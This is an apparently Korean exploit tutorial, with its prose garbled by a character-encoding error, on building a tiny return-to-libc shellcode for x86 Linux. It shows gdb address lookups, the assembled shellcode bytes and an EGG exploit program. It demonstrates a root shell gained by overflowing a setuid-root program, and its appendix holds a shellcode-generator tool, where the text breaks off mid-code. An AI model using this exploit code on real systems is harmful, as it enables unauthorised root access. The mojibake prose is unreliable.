Return-to-lib ±â¹ýÀ» ÀÌ¿ëÇÑ ½©ÄÚµå »ý¼º mutacker in Null@Root mutacker@null2root.org, dbyeom@mail.hangkong.ac.kr (http://mutacker.null2root.org) 1. ¼Ò°³ ÇöÀç ¾Ë·ÁÁø ´ëºÎºÐÀÇ ½©ÄÚµå´Â ½Ã½ºÅÛÄÝÀ» ºÐ¼®ÇÏ¿© Á¦À۵ǾîÁö°í ÀÖÀ¸¸ç, ½Ã½ºÅÛÄÝ¿¡ ´ëÇØ ´É¼÷ÇÏÁö ¾ÊÀº »ç¶÷µéÀÇ °æ¿ì ½©Äڵ带 »Ì¾Æ³½´Ù´Â °ÍÀº ±×¸® ½±Áö ¾ÊÀº ½ÇÁ¤ÀÌ´Ù. ¶ÇÇÑ, ½©ÄÚµåÀÇ ±æÀÌ°¡ »ó´çÈ÷ ±æ´Ù´Â ´ÜÁ¡À» °®°í ÀÖ´Ù. ÇöÀç ¸®´ª½º ¿ëÀ¸·Î ¼Ò°³µÇ¾î ÀÖ´Â °¡Àå ÀÛÀº ½©ÄÚµå·Î´Â ¾à 27¹ÙÀÌÆ® Á¤µµ·Î ¼Ò°³µÇ¾î ÀÖ´Ù. ¹öÆÛÀÇ Å©±â°¡ À̺¸´Ù ÀÛÀº °æ¿ì¿¡´Â ÀÀ¿ëÀ» ÇÒ ¼ö ¾ø´Ù. ÀÌ ±Û¿¡¼­ ¼Ò°³ÇÏ°íÀÚ ÇÏ´Â ½©ÄÚµå´Â x86 ¸®´ª½º ½Ã½ºÅÛ¿¡¼­ ¾à 22¹ÙÀÌÆ® Å©±â¸¦ °®´Â´Ù. ¹°·Ð, ¾à°£ÀÇ ÀÀ¿ë¿¡ µû¶ó ±× ±æÀÌ´Â ¾à°£ ±æ¾îÁú¼öµµ ÀÖ´Ù. ÀÌ ±Û¿¡¼­ »ç¿ëÇÑ ±â¼úÀº ÀÌ¹Ì ¸¹Àº ±Û¿¡¼­ ¼Ò°³ÇÏ°í ÀÖ´Â return-to-lib ±â¼úÀ» ÀÌ¿ëÇÑ °ÍÀÌ´Ù. 2. ½©ÄÚµå »ý¼º 2.1 system()°ú setuid()ÀÇ ÁÖ¼Ò ¾Ë¾Æ³»±â ´ëºÎºÐÀÇ ½Ã½ºÅÛÀÌ °øÀ¯¶óÀ̺귯¸®ÀÇ °æ¿ì °ø°Ý ´ë»ó ÇÁ·Î±×·¥À̳ª °ø°Ý¿ë ÇÁ·Î±×·¥À̳ª ¸ðµÎ system()°ú setuid()ÀÇ ÁÖ¼Ò°¡ µ¿ÀÏÇÏ°Ô ³ªÅ¸³ª¹Ç·Î Á¶±×¸¶ÇÑ ÇÁ·Î±×·¥À» Çϳª ÀÛ¼ºÇÑ ÈÄ À̵é ÁÖ¼Ò¸¦ ȹµæÇÒ ¼ö ÀÖ´Ù. [[mutacker@note myshell]$ cat sysset.c main() { printf("wow"); } [mutacker@note myshell]$ gcc -o sysset sysset.c [mutacker@note myshell]$ gdb -q sysset (gdb) b *(main+3) Breakpoint 1 at 0x804845f (gdb) r Starting program: /home/mutacker/myshell/sysset Breakpoint 1, 0x804845f in main () (gdb) print system $1 = {} 0x4006b498 <__libc_system> (gdb) print setuid $2 = {} 0x400d0ae4 <__setuid> (gdb) q The program is running. Exit anyway? (y or n) y À§¿¡¼­ ¿ì¸®´Â system()Àº 0x4006b498¿¡, setuid()´Â 0x400d0ae4¿¡ Á¸ÀçÇÔÀ» ¾Ë ¼ö ÀÖ´Ù. À̵é ÁÖ¼ÒÀÇ Áß°£¿¡ 00ÀÌ ³ªÅ¸³ª´Â °æ¿ì¶ó ÇÒÁö¶óµµ °ÆÁ¤ÇÏÁö ¸»±â ¹Ù¶õ´Ù. ¸¸ÀÏ system()ÀÇ ÁÖ¼Ò°¡ 0x4006b400 À̶ó¸é 0x4006b4FF¿Í °°ÀÌ 00 ÀÚ¸®¿¡ ÀÓÀÇÀÇ ¼ö¸¦ ä¿ö³Ö°í shift ¿¬»êÀ» ÀÌ¿ëÇؼ­ ¿øÇÏ´Â °ªÀ» ¸¸µé ¼öµµ Àֱ⠶§¹®ÀÌ´Ù. 2.2 "/bin/sh"ÀÇ ÁÖ¼Ò ¾Ë¾Æ³»±â system()ÇÔ¼ö´Â ³»ºÎÀûÀ¸·Î ¾î¶² ¸í·ÉÀ» ½ÇÇà½ÃÅ°±â À§ÇØ /bin/shÀ» ½ÇÇà½ÃÅ°°í À̸¦ ÅëÇØ ¿øÇÏ´Â ¸í·ÉÀ» ½ÇÇà½ÃÅ°´Â °Í¿¡ Âø¾ÈÇÏ¿© system()ÇÔ¼ö ÄÚµå ³»ºÎ ¾îµò°¡¿¡ /bin/sh ¹®ÀÚ¿­ÀÌ Á¸ÀçÇÒ °ÍÀÓÀ» ÃßÃøÇÒ ¼ö ÀÖ´Ù. ±× ¹®ÀÚ¿­ÀÇ À§Ä¡°ªÀ» ¾ò¾î¼­ ±× ÁÖ¼Ò¸¦ Á÷Á¢ »ç¿ëÇÒ °ÍÀÌ´Ù. [mutacker@note myshell]$ cat findsh.c int main(int argc, char **argv) { long shell; shell = 0x4006b498; // <=== system()ÇÔ¼öÀÇ ÁÖ¼Ò while(memcmp((void*)shell,"/bin/sh",8)) shell++; printf("\"/bin/sh\" is at 0x%x\n",shell); printf("print %s\n",shell); } [mutacker@note myshell]$ gcc -o findsh findsh.c [mutacker@note myshell]$ ./findsh "/bin/sh" is at 0x4012eca9 print /bin/sh 2.3 ½ÇÁ¦ Àû¿ëÇϱâ À§¿¡¼­ ¼öÁýµÈ µ¥ÀÌÅ͸¦ »ç¿ëÇÏ¿© ½ÇÁ¦ ½©Äڵ带 ÀÛ¼ºÇØ º¸ÀÚ. ¸ÕÀú ret Äڵ忡 ´ëÇØ ¾Ë¾Æº¸ÀÚ. ret ¸í·ÉÀº ÇöÀç esp ·¹Áö½ºÅÍ°¡ °¡¸®Å°´Â °÷¿¡¼­ °ªÀ» ²¨³»¾î eip°ªÀ¸·Î ¼³Á¤ÇÑ´Ù. ¸¸ÀÏ esp°¡ °¡¸®Å°´Â °÷ÀÇ °ªÀÌ 0x4006b498 À̶ó¸é eipÀÇ °ªÀ» 0x4006b498À¸·Î ¼³Á¤ÇÏ°Ô µÈ´Ù´Â °ÍÀÌ´Ù. ±×·¸´Ù¸é eip°ª¿¡ µû¶ó ´ÙÀ½ ¸í·ÉÀÌ ¼öÇàÀÌ µÇ¾îÁú °ÍÀÌ´Ù. ¸¸ÀÏ esp°¡ °¡¸®Å°´Â °÷ÀÌ system() ÇÔ¼öÀÇ ÁÖ¼Ò¶ó¸é ¾î¶»°Ô µÉ±î? ±×·¸´Ù!! system() ÇÔ¼ö°¡ ½ÇÇàÀÌ µÇ¾îÁú °ÍÀÌ´Ù. ±×·¸´Ù¸é call¿¡ ÀÇÇØ È£ÃâµÇ¾îÁö´Â system()¿Í ret¿¡ ÀÇÇØ È£ÃâµÇ¾îÁö´Â system()Àº ¾î¶² Â÷ÀÌ°¡ ÀÖÀ»±î? Â÷ÀÌ´Â Å©°Ô Á¸ÀçÇÏÁö ¾Ê´Â´Ù. ´ÜÁö ¸®ÅÏ ¾îµå·¹½º¸¦ ½ºÅÿ¡ ³Ö°í °¡´Â°¡ ¾Æ´Ñ°¡ÀÇ Â÷À̹ۿ¡´Â ¾ø´Ù. ±×·¸´Ù¸é ret¸¦ ÅëÇØ È£ÃâµÊÀ¸·Î½á ¸®ÅÏ ¾îµå·¹½º°¡ ½ºÅÿ¡ ¾ø´Â »óȲ¿¡¼­ system()ÇÔ¼ö ³»ºÎ¿¡¼­ ret¸í·ÉÀÌ ¼öÇàÀÌ µÇ¾îÁö¸é ¹«½¼ ÀÏÀÌ ¹ß»ýÇÒ±î? °è»êÇØ º¸¸é ÀÌÀü¿¡ esp°¡ °¡¸®Å°´ø °÷ ¹Ù·Î ¾Æ·§ÂÊÀÓÀ» ¾Ë ¼ö ÀÖ´Ù. ¹öÆÛ¿À¹öÇ÷ξ Æ÷¸Ë½ºÆ®¸µ ¹ö±×¸¦ ÅëÇØ ¾î¶² ÇÁ·Î±×·¥ÀÇ ¸®ÅÏ ¾îµå·¹½º ºÎºÐ¿¡ ¾î¶² ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ³Ö¾úÀ» °æ¿ì ±× ÇÔ¼ö°¡ Á¤»óÀûÀ¸·Î ¼öÇàÀÌ µÇ¾îÁö°í ³ª¼­ ¸®ÅÏ µÇ¾îÁö´Â ½ÃÁ¡¿¡¼­ ÀÌÀüÀÇ ¸®ÅÏ ¾îµå·¹½º ´ÙÀ½ÀÇ 4¹ÙÀÌÆ® °ø°£À» ´ÙÀ½ ¼öÇàÇÒ ¸®ÅϾîµå·¹½º·Î »ý°¢ÇÑ´Ù´Â °ÍÀÌ´Ù. ±×·¸´Ù¸é ¿ì¸®´Â ´ÙÀ½°ú °°Àº °¡Á¤À» ÇÒ ¼ö°¡ ÀÖ´Ù. ¸®ÅÏ ¾îµå·¹½º ÀÚ¸®¿¡ setuid()ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ³Ö°í, ´ÙÀ½ 4¹ÙÀÌÆ®¿¡ system()ÀÇ ÁÖ¼Ò¸¦ ³Ö´Â´Ù. ±×·¯¸é ÀÌ ÇÔ¼öµéÀÌ Â÷·Ê´ë·Î ½ÇÇàÀÌ µÈ´Ù. ±×·¸´Ù... ÀÌ °¡Á¤Àº Àý´ë·Î ¿ì¸®¸¦ ¹è½ÅÇÏÁö ¾Ê°í ±×´ë·Î Àû¿ëÀÌ µÇ¾îÁø´Ù. ±×·¸´Ù¸é ¸Å°³º¯¼öµéÀº ¾îµð¿¡ ³ÖÀ» °ÍÀΰ¡? ¿ì¸®°¡ ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ³ÖÀº °÷À¸·Î ºÎÅÍ 4¹ÙÀÌÆ® ¶³¾îÁø °÷¿¡¼­ ±× ¸Å°³º¯¼ö¸¦ ã´Â´Ù´Â °ÍÀ» Äڵ带 ºÐ¼®ÇØ º¸¸é ¾Ë ¼ö ÀÖ´Ù. À̸¦ Åä´ë·Î Çؼ­ ¿ì¸®´Â ´ÙÀ½°ú °°Àº ½ºÅÃÀÇ ¸ð½ÀÀ» ²Ù¹Ð ¼ö ÀÖ´Ù. <-- ÇÏÀ§ÁÖ¼Ò »óÀ§ÁÖ¼Ò --> [setuid()ÀÇ ÁÖ¼Ò] [system()ÀÇ ÁÖ¼Ò] [setuid()¸¦ À§ÇÑ ¸Å°³º¯¼ö] [system()À» À§ÇÑ ¸Å°³º¯¼ö "/bin/sh"ÀÇ ÁÖ¼Ò] À̶§ esp·¹Áö½ºÅÍ´Â setuid()ÀÇ ÁÖ¼Ò°¡ ÀúÀåµÈ °÷À» °¡¸®Å°°í ÀÖ´Ù. ÀÚ!! ½ºÅà ÇÁ·¹ÀÓÀº ÁغñµÇ¾ú´Ù. ÀÌ·¯ÇÑ »óȲ¿¡¼­ ret ¸í·ÉÀÌ ¹ß»ýÇÏ¸é ¾î¶»°Ô µÉ±î? ±×·¸´Ù.. setuid()°¡ ½ÇÇàµÇ°í, system("/bin/sh")ÀÌ ½ÇÇàµÇ¾îÁö´Â °ÍÀ» °æÇèÇÒ ¼ö ÀÖ´Ù. ÀÌÁ¦ ½©Äڵ带 À§ÇÑ Äڵ带 ÀÛ¼ºÇØ º¸ÀÚ. [mutacker@note myshell]$ cat > makesh.c int main() { __asm__(" movl $0x4012eca9, %eax <=== address of "/bin/sh" push %eax xor %eax, %eax <=== 0 for setuid() push %eax movl $0x4006b498, %eax <=== address of system() push %eax movl $0x400d0ae4, %eax <=== address of setuid() push %eax ret "); } [mutacker@note myshell]$ gcc -o makesh makesh.c [mutacker@note myshell]$ objdump -d makesh mskesh: file format elf32-i386 ..... 0804842c
: 804842c: 55 push %ebp 804842d: 89 e5 mov %esp,%ebp 804842f: b8 a9 ec 12 40 mov $0x4012eca9,%eax 8048434: 50 push %eax 8048435: 31 c0 xor %eax,%eax 8048437: 50 push %eax 8048438: b8 98 b4 06 40 mov $0x4006b498,%eax 804843d: 50 push %eax 804843e: b8 e4 0a 0d 40 mov $0x400d0ae4,%eax 8048443: 50 push %eax 8048444: c3 ret 8048445: 5d pop %ebp 8048446: c3 ret 8048447: 90 nop 8048448: 90 nop ..... 3. °ø°Ý¿¡ »ç¿ëÇÒ EGG ¸¸µé±â #include #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 1024 #define NOP 0x43 char shellcode[] = "\xb8\xa9\xec\x12\x40\x50\x31\xc0\x50\xb8\x98\xb4\x06\x40\x50\xb8\xe4\x0a\x0d\x40\x50\xc3"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } main() { char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize; i++) buff[i] = NOP; ptr = buff + (bsize - strlen(shellcode) - 1); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); } 4. Ãë¾à ÇÁ·Î±×·¥À» ÅëÇÑ Å×½ºÆ® [mutacker@note myshell]$ cat vul.c void a(char *ptr) { char buf[20]; strncpy(buf, ptr); printf("%s\n", buf); } main(int argc, char* argv[]) { a(argv[1]); return 1; } [mutacker@note myshell]$ gcc -o vul vul.c [mutacker@note myshell]$ ./vul `perl -e 'print "A"x39'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [mutacker@note myshell]$ ./vul `perl -e 'print "A"x40'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmention fault (core dumped) [mutacker@note myshell]$ ./egg Using address: 0xbffffc18 [mutacker@note myshell]$ ls -al /home/contest/vul -rwsr-xr-x 1 root root 13571 4¿ù 11 03:06 /home/contest/vul [mutacker@note myshell]$ /home/contest/vul `perl -e 'print "A"x40, "\x18\xfc\xff\xbf"x2'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?¿üsh-2.04# id uid=0(root) gid=500(mutacker) groups=500(mutacker) 4. ´ÜÁ¡°ú ÀåÁ¡ ÀÌ ½©ÄÚµåÀÇ °æ¿ì ½©Äڵ带 Àû¿ë½ÃÅ°±â À§ÇØ ¸Å¹ø setuid(), system(), "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ ã¾Æ¾ß ÇÏ´Â ¼ö°í¸¦ °ÅÃÄ¾ß ÇÑ´Ù. (¹°·Ð dlopen(), dlsym() µîÀ» ÀÌ¿ëÇØ ½±°Ô ã´Â ¹æ¹ýµµ ¸¹´Ù.) Áï, ³Ê¹« °ø°Ý¿ë ½Ã½ºÅÛ¿¡ ÀÇÁ¸ÇÑ´Ù´Â ´ÜÁ¡À» °®´Â´Ù. ÇÏÁö¸¸, IDS¿Í °°Àº ÇÊÅ͸µ¿¡ À¯µ¿¼ºÀÖ°Ô ¹ÝÀÀÇÒ ¼ö ÀÖÀ¸¸ç, ¹öÆÛ°¡ ¾ÆÁÖ ÀÛÀº °æ¿ì¿¡ Àû¿ëÀÌ °¡´ÉÇÏ´Ù´Â ÀåÁ¡À» °¡Áö°í ÀÖ´Ù. ¶ÇÇÑ, °¢ ½Ã½ºÅÛ¿¡¼­ »ç¿ëÇÏ´Â ½Ã½ºÅÛÄÝÀÇ ºÐ¼®À» ÁÙÀϼö ÀÖ´Ù´Â ÀåÁ¡µµ °°ÀÌ °®´Â´Ù. 5. °á·Ð ¿ì¸®´Â ±âÁ¸ÀÇ ½Ã½ºÅÛÄÝÀ» ºÐ¼® Äڵ带 ÃßÃâÇÏ¿© ¸¸µé´ø ½©ÄÚµå¿Í´Â ´Ù¸¥ »õ·Î¿î ÇüÅÂÀÇ ½©Äڵ带 ¸¸µé¾î º¸¾Ò´Ù. ¶ÇÇÑ, ±× Å©±âµµ »ó´çÈ÷ ÁÙÀÏ ¼ö ÀÖ´Ù´Â °ÍÀ» È®ÀÎÇÏ¿´´Ù. Å×½ºÆ®¸¦ Çغ¸Áö´Â ¸øÇßÁö¸¸, ´Ù¾çÇÑ Á¾·ùÀÇ ½Ã½ºÅÛ¿¡¼­ ±×´ë·Î Àû¿ëÀÌ °¡´ÉÇϸ®¶ó º»´Ù. 6. Âü°í ¹®¼­ - Omega project finished. (http://community.core-sdi.com/~juliano/lmagra-omega.txt ¿ø »çÀÌÆ®°¡ ÇöÀç ´ÝÇôÁ® ÀÖÀ½) - Advanced return-into-lib(c) exploits (PaX case study) (http://www.phrack.org/phrack/58/p58-0x04) 7. Appendix ÀÚµ¿È­ »ý¼ºÅø( Coded by Saintlinu in Null@Root, °¨»ç^^ ) #include #include #include #define DIFF 0x4000 #define LIBC "/lib/i686/libc.so.6" #define SCSOURCE "shellcode.c" #define SCBINARY "shellcode" #define SCDUMP "shellcodedump.txt" #define BACKUP "backup.txt" #define OBJDUMP "/usr/bin/objdump" #define GCC "/usr/bin/gcc" #define CAT "/bin/cat" #define GREP "/bin/grep" #define AWK "/bin/awk" #define CUT "/bin/cut" #define PERL "/usr/bin/perl" #define PERLFILE "extract" #define CHMOD "/bin/chmod" #define RM "/bin/rm" int main(int argc, char **argv) { FILE *fp; long shellStringAddress; char CMD[256], buffer[256], shellcodeBuffer[256]; long systemVar, setuidVar, setreuidVar; void *handle; int i, reuidVar; if(argc < 2) { puts("\nThis program is shellcode generator on the LINUX on x86"); puts(" Made by Saintlinu"); puts("\nWARNING : USE AT YOUR OWN RISK!!!\n"); printf("Usage : %s uid\n\n", argv[0]); exit(-1); } handle=dlopen(LIBC, RTLD_LAZY); setuidVar=(long)dlsym(handle,"setuid"); dlclose(handle); handle=dlopen(LIBC, RTLD_LAZY); systemVar=(long)dlsym(handle,"system"); dlclose(handle); handle=dlopen(LIBC, RTLD_LAZY); setreuidVar=(long)dlsym(handle,"setreuid"); dlclose(handle); reuidVar=atoi(argv[1]); setuidVar -= DIFF; setreuidVar -= DIFF; systemVar -= DIFF; /* To open file descriptor */ if((fp=fopen(SCSOURCE, "w")) < 0) { printf("File open error\n"); exit(-1); } /* find strings /bin/sh in system() */ shellStringAddress=systemVar; while((memcmp((void *)shellStringAddress, "/bin/sh", 8))) shellStringAddress++; // if not equal then result is larger than 1 shellStringAddress -= DIFF; /* To print about something */ puts("\nThis program is shellcode generator on the LINUX on x86"); puts(" Made by Saintlinu"); puts("\nWARNING : USE AT YOUR OWN RISK!!!\n"); puts("\n================================================="); puts("Calculating.....\n"); printf("setuid() address is 0x%x\n", setuidVar); printf("setreuid() address is 0x%x\n", setreuidVar); printf("system() address is 0x%x\n", systemVar); printf("\n\"/bin/sh\" strings address is 0x%x\n", shellStringAddress); puts("=================================================\n"); puts("Let's make a shellcode's binary ....\n"); /* To write shellcode in assembly language to shellcode.c */ if(reuidVar == 0) { fprintf(fp, "int main(int argc, char **argv)\n"); fprintf(fp, "{\n"); fprintf(fp, " __asm__ (\"\n"); fprintf(fp, " movl $0x%x, %s\n", shellStringAddress, "%eax"); fprintf(fp, " push %s\n", "%eax"); fprintf(fp, " xor %s, %s\n", "%eax", "%eax"); fprintf(fp, " push %s\n", "%eax"); fprintf(fp, " movl $0x%x, %s\n", systemVar, "%eax"); fprintf(fp, " push %s\n", "%eax"); fprintf(fp, " movl $0x%x, %s\n", setuidVar, "%eax"); fprintf(fp, " push %s\n", "%eax"); fprintf(fp, " ret\n"); fprintf(fp, " \");\n"); fprintf(fp, "}\n"); fclose(fp); } else { fprintf(fp, "int main(int argc, char **argv)\n"); fprintf(fp, "{\n"); fprintf(fp, " __asm__ (\"\n"); fprintf(fp, " movw $0x%x, %s\n", reuidVar, "%ax"); fprintf(fp, " movw %s, %s\n", "%ax", "%bx"); fprintf(fp, " push %s\n", "%ax"); fprintf(fp, " push %s\n", "%bx"); fprintf(fp, " push $0x18\n"); fprintf(fp, " int $0x80\n"); fprintf(fp, " movl $0x%x, %s\n", shellStringAddress, "%eax"); fprintf(fp, " push %s\n", "%eax"); fprintf(fp, " xor %s, %s\n", "%eax", "%eax"); fprintf(fp, " push %s\n", "%eax"); fprintf(fp, " movl $0x%x, %s\n", systemVar, "%eax"); fprintf(fp, " push %s\n", "%eax"); fprintf(fp, " movl $0x%x, %s\n", setuidVar, "%eax"); fprintf(fp, " push %s\n", "%eax"); fprintf(fp, " ret\n"); fprintf(fp, " \");\n"); fprintf(fp, "}\n"); fclose(fp); } /* To make executive shellcode's object file using a "gcc" */ sprintf(CMD, "%s -o %s %s\n", GCC, SCBINARY, SCSOURCE); system(CMD); /* To make binary code with objdump */ sprintf(CMD, "%s -d %s > %s\n", OBJDUMP, SCBINARY, SCDUMP); system(CMD); /* To trim shellcode's dumpfile */ if(reuidVar == 0) { sprintf(CMD, "%s %s | %s -A 11 \"
\" > %s\n", CAT, SCDUMP, GREP, BACKUP); system(CMD); } else if(reuidVar != 0) { sprintf(CMD, "%s %s | %s -A 17 \"
\" > %s\n", CAT, SCDUMP, GREP, BACKUP); system(CMD); } /* To trim space from dumpfile and stuff */ sprintf(CMD, "%s %s | %s -d: -f2 | %s -d\" \" -f1-5 | %s \'{ print $1 $2 $3 $4 $5 }\' > %s\n", CAT, BACKUP, CUT, CUT, AWK, SCDUMP); system(CMD); /* To make a PERL file */ if((fp=fopen(PERLFILE, "w")) < 0) { printf("file write error\n"); exit(-1); } fprintf(fp, "#!%s -w\n open(SCFILE, '%s') || die $!;while() { chop($_); $shellcode .= $_; } print $shellcode;\n", PERL, SCDUMP); fclose(fp); sprintf(CMD, "%s +x %s\n", CHMOD, PERLFILE); system(CMD); sprintf(CMD, "./%s > %s\n", PERLFILE, BACKUP); system(CMD); /* To modify final stuff */ if((fp=fopen(BACKUP, "r")) < 0) { printf("file write error\n"); exit(-1); } bzero(buffer, sizeof(buffer), 0); for(i=0; i